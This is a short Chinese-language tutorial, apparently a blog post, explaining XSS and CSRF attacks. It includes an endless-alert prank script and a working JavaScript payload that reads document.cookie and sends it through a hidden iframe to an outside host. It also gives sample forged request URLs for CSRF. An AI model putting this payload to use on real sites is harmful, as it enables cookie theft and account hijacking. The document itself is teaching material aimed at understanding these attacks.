XSS: 跨站腳本(cross-site scripting)
CSRF:跨站請求偽造(cross-site request forgery)
那么XSS與CORF到底是什么##
XSS###
xss,關鍵字在于腳本二字,他是注入攻擊的一種,特點是對服務器端沒有任何影響,相對CSRF來說也是容易解決的。但是在客戶端不處理的話,也是有很大的危害。
舉個例子####
假如某個論壇的評論功能里沒有預防xss,那么你在里面加入下面這段代碼,它就會自動執行,就會造成,每當用戶訪問這么頁面,就會不停地彈窗。很難受的惡作劇。
while(true)
{
alert('別想關掉我')
}
然而這只是簡單的情況,萬一加入的是惡意的javascript代碼,就會帶來很大的危害。
比如,竊取用戶的cookie
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用于通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
這樣就建立了一個立即執行的匿名函數,在原本的頁面上增加了一個隱藏的框架,不斷竊取cookie并且發送,而且因為是獲取cookie之后才建立的非同源框架,繞開了跨域問題,攻擊者的后臺就可以利用這些cookie在有效期內做各種事情,比如刪帖,發帖之類的。。
就這樣將代碼注入直接注入前端代碼的情況,也就是XSS
在這之后,如果通過之前獲取的cookie進行增刪請求,這便是,CSRF攻擊,通過偽造用戶來達到發送請求來達到攻擊的目的。
CSRF###
CSRF:通過偽造用戶來達到發送請求來達到攻擊的目的。
假如某個網站沒有安全驗證(實際不存在。。),他的增刪請求是通過特定的URL發送請求,
http://www.a.com/xx?id=215&method='delete'//刪除
http://www.a.com/xx?id=125&method=‘add’//添加
現在我們找到了規律,id便是用戶標識,method便是操作,那么對這個URL發起請求,服務器以為我們是用戶在進行操作,允許了操作,這便是CSRF攻擊
借用上例####
一般情況下,發起請求是有cookie驗證的,這也就說明了cookie的重要性,所以在上例中如果竊取了用戶的cookie,理想狀態下就能進行CSRF攻擊(當然服務器沒這么蠢。。),下篇文章將會說一說現實中的xss注入攻擊和CSRF攻擊的一般防御措施